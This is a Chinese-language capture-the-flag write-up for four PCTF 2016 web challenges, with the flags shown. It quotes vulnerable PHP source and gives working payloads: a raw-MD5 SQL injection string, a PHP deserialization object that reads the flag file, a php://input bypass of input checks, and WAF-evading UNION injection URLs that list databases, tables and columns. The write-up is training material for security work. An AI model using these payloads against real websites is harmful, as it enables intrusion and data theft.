Pctf
** web100 PORT51** 
开始看到这个真的无法下手,想过用python–socket编程或者scapy发包。自己觉得是可以的,但是没有去试,后面看一大神writeup,知道:
最简单的payload:一个curl命令的事,涨姿势了
curl –local-port 51 103.39.76.105:32772/
其中–local-port 51 强制使用本地51端口 所以最后的flag就是PCTF{M45t3r_oF_CuRl}
另外在本文后面贴一份C语言实现这道题的代码:(见文章最后)
** web250 Login** 通过抓包在响应头里面看到hint如下:

hint : "select * from `admin` where password='".md5($pass,true)."'"

根据http://www.ilrose.com/blog/2015/07/08/md5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84sql-%E6%B3%A8%E5%85%A5/, 直接输入ffifdyop,得到flag为PCTF{R4w_md5_is_d4ng3rous} 还有一个,提交129581926211651571912466741651878684928:

 content: 129581926211651571912466741651878684928
 count: 18933549
 hex: 06da5430449f8f6f23dfc1276f722738
 raw: ?T0D??o#??'or'8.N=?

文档:http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes web300 神盾局的秘密 这道题打开是一个只有一张图片的主页。查看源码发现了一个文件读取漏洞
读出showimg.php的源码

<?php
 $f = $_GET['img'];
 if (!empty($f)) {
 $f = base64_decode($f);
 if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
 && stripos($f,'pctf')===FALSE) {
 readfile($f);
 } else {
 echo "File not found!";
 }
 }
?>

从这里看到img参数防止了跨目录读取,但是我们还可以读取index.php的源码啊 得到:

<?php
 require_once('shield.php');
 $x = new Shield();
 isset($_GET['class']) && $g = $_GET['class'];
 if (!empty($g)) {
 $x = unserialize($g);
 }
 echo $x->readfile();
?>

这里知道index.php还可以传入class参数,并且还有一个反序列函数,应该就是一个反序列漏洞了。此处还知道了一个地址shield.php读他的源码:

<?php
 //flag is in pctf.php
 class Shield {
 public $file;
 function __construct($filename = '') {
 $this -> file = $filename;
 }

 function readfile() {
 if (!empty($this->file) && stripos($this->file,'..')===FALSE
 && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
 return @file_get_contents($this->file);
 }
 }
 }
?>

果然啊,php反序列啊: 根据代码生成payload: O:6:"shield":1:{s:4:"file";s:8:"pctf.php";}
得到flag:PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
** web500 IN A Mess**
这题打开就很快根据提示找到一串代码:

<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id']){
 header('Location: index.php?id=1');
 exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
 echo 'Hahahahahaha';
 return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
 require("flag.txt");
}
else{
 print "work harder!harder!harder!";
}
?>

需要绕过啊!! 绕过分析:

id==0且!$_GET(“id”)为假 构造:id=false或者id=”0”
$a不包含点且a文件内容为特定的 a=http://115.159.145.92/test 把其中ip用iphex编码为0x739F915C iphex工具在线
b长度大于5&&eregi(“111”.substr(b,0,1),”1114”)andsubstr(b,0,1)!=4。构造b=*123456或者b=%0023456ssss

还有一种绕过方法:主要是输入流。

POST /index.php?id=0xxx&a=php://input&b=.12345

1112 is a nice lab!

绕过时真JB激动啊!!得到一串字符 /^HT2mCpcvOLf 当时还当flag拿去换着几种姿势提交都不对 后面想了想可能是目录 就访问xxxxxxx/^HT2mCpcvOLf 果然就是,并找了找,是注入: 
Howevevr….waf太强不会,GG了就,虽然GG了 但是答案还是要找来贴在这儿的,看大神的解法:
试了试,过滤不多,就过滤了像是空格啊,回车啊,tab啊之类根本没什么屁用的东西,像是select,union,from什么的也都只被正则替换了一次,用selselectect就能绕过,另外还过滤了08,09,20等等敏感的数字。 flag就在context字段里面,而那个hi666就是title字段的值。 用union去回显爆库,它是总共有三个字段,显示的是第三个字段,像是空格被过滤的话用各种括号就可以绕过了,最后的payload如下:

http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0%26(1=2)uniounionn(selselectect(1),(2),(context)frfromom(content))

后头自己也去注了一下,把过程记录下来:

绕过测试 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=1/*123*/or/*123*/0

数据库 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,database()

爆表 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(table_name)/*123*/frfromom/*123*/information_schema.tables/*123*/where/*123*/table_schema=database()

爆列 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(column_name)/*123*/frfromom/*123*/information_schema.columns/*123*/where/*123*/table_name=0x636f6e74656e74

爆内容 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(context,0x7e,title)/*123*/frfromom/*123*/content

PCTF{Fin4lly_U_got_i7_C0ngRatulation5}~hi666

PCTF-2016-WEB的更多相关文章

  1. Velocity China 2016 Web 性能与运维大会:构建快速、可扩展的弹性网站

    Velocity China 2016 Web 性能与运维大会是一场关于构建快速.可扩展的弹性网站所需要的Web性能.运维及开发运维的训练.大会将于2016年12月1日在北京拉开帷幕,此次大会被众多业 ...

  2. [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]

    前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...

  3. Dynamics CRM 2015/2016 Web API:聚合查询

    各位小伙伴们,今天是博主2016年发的第一篇文章.首先祝大家新年快乐.工资Double,哈哈.今天我们来看一个比較重要的Feature--使用Web API运行FetchXML查询! 对的,各位.你们 ...

  4. SharePoint Server 2016 WEB 网站浏览器支持

    SharePoint Server 2016支持多种常用的Web浏览器,如Internet Explorer,Google Chrome,Mozilla Firefox,Apple Safari和Mi ...

  5. 2016 Web开发资源工具大搜罗

    来源于:https://zhuanlan.zhihu.com/p/22730771 作者:余博伦链接:https://zhuanlan.zhihu.com/p/22730771来源:知乎著作权归作者所 ...

  6. 2016 Web 开发资源工具大搜罗

    原文链接: 100+ Awesome Web Development Tools and Resources Web的迅猛发展对于开发者来说既是一件好事也是一件坏事.不断紧跟潮流学习新的技术.编程语言 ...

  7. Dynamics CRM 2015/2016 Web API:新的数据查询方式

    今天我们来看看Web API的数据查询功能,尽管之前介绍CRUD的文章里面提到过怎么去Read数据,可是并没有详细的去深究那些细节,今天我们就来详细看看吧.事实上呢,Web API的数据查询接口也是基 ...

  8. Dynamics CRM 2015/2016 Web API:Unbound Custom Action 和 Bound Custom Action

    今天我们再来看看Bound/Unbound Custom Action吧,什么是Custom Action?不知道的小伙伴们就out了,Dynamics CRM 2013就有了这个功能啦.和WhoAm ...

  9. Dynamics CRM 2015/2016 Web API:Unbound Function 和 Bound Function

    今天我们来看看Dynamics CRM Web API Function 吧, 这是一个新概念,刚接触的时候我也是比較的迷糊.这种命名确实是和之前的那套基于SOAP协议的API全然联系不上.好了,不说 ...

  10. 【CTF WEB】ISCC 2016 web 2题记录

      偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做. 第1题 sql注入: 题目知识 考察sql注入知识,题目地址:http://101.200.145.44/web1//ind ...

随机推荐

  1. gulp学习笔记--简单入门

    一.准备工作 1.gulp是基于nodeJS的前端构建工具,所以全局安装nodeJS 2.利用npm全局安装gulp. npm install -g gulp 3.在项目根目录下新建文件package ...

  2. ExtJs中xtype与组件类的对应表

    from:http://blog.163.com/jx_dream/blog/static/117056627201223091021410/ 核心提示:我们在使用 ExtJs 创建组件时最容易理解的 ...

  3. JAVA基础学习day20--IO流二-缓冲流、字节流

    一.缓冲流 1.1.字符流的缓冲区 缓冲区的出现是为了提高IO的读写效率 对应类 BufferedReader BufferedWriter 缓冲区要结合流才可以使用 在流的基础上对流的功能进行了增强 ...

  4. UITextField 基本属性使用

    //设置文本框 透明度 tf.alpha = ; //设置文本颜色 tf.textColor = [UIColor orangeColor]; //设置文本文字 格式 tf.font = [UIFon ...

  5. iOS中倒计时

    方法一:使用NSTimer来实现(比较适用于发送短信验证码倒计时) 主要是利用NSTimer的scheduledTimerWithTimeInterval方法来每秒执行一次changeTime方法 / ...

  6. 方程ax2+bx+c=0;一元二次方程。求根

    <body>方程ax2+bx+c=0;一元二次方程.求根请输入a:<input type="number" id="a"/><br ...

  7. Sqlserver创建连接MySql的链接服务器

    第一步:在MySql服务器上安装与系统对应的 MySql-Connector-ODBC  官方下载地址 安装过程中可能会报 缺失 msvcr100.dll 的错误,这需要你根据系统到网上下载对应的这个 ...

  8. Java解决题目:有一对兔子,从出生第三个月起每个月都生一对兔子,小兔子长到第三个月后,每个月又生一对兔子。。。

    题目:有一对兔子,从出生第三个月起每个月都生一对兔子,小兔子长到第三个月后,每个月又生一对兔子,假如兔子都不死,问M个月时兔子的数量,M为键盘读入的正整数.(请用Java语言作答) 样例输入: 3 样 ...

  9. ADO.NET Entity Framework,Code First简单示例

    一.安装EntityFramework: 在vs里打开NuGet,在命令行里输入:Install-Package EntityFramework. 二.基本使用方法 1.建立数据模型 class St ...

  10. 机器学习五 -- 机器学习的“Hello World”,感知机

    机器学习五 -- 机器学习的“Hello World”,感知机 感知机是二类分类的线性分类模型,是神经网络和支持向量机的基础.其输入为实例的特征向量,输出为实例的类别,取+1和-1二值之一,即二类分类 ...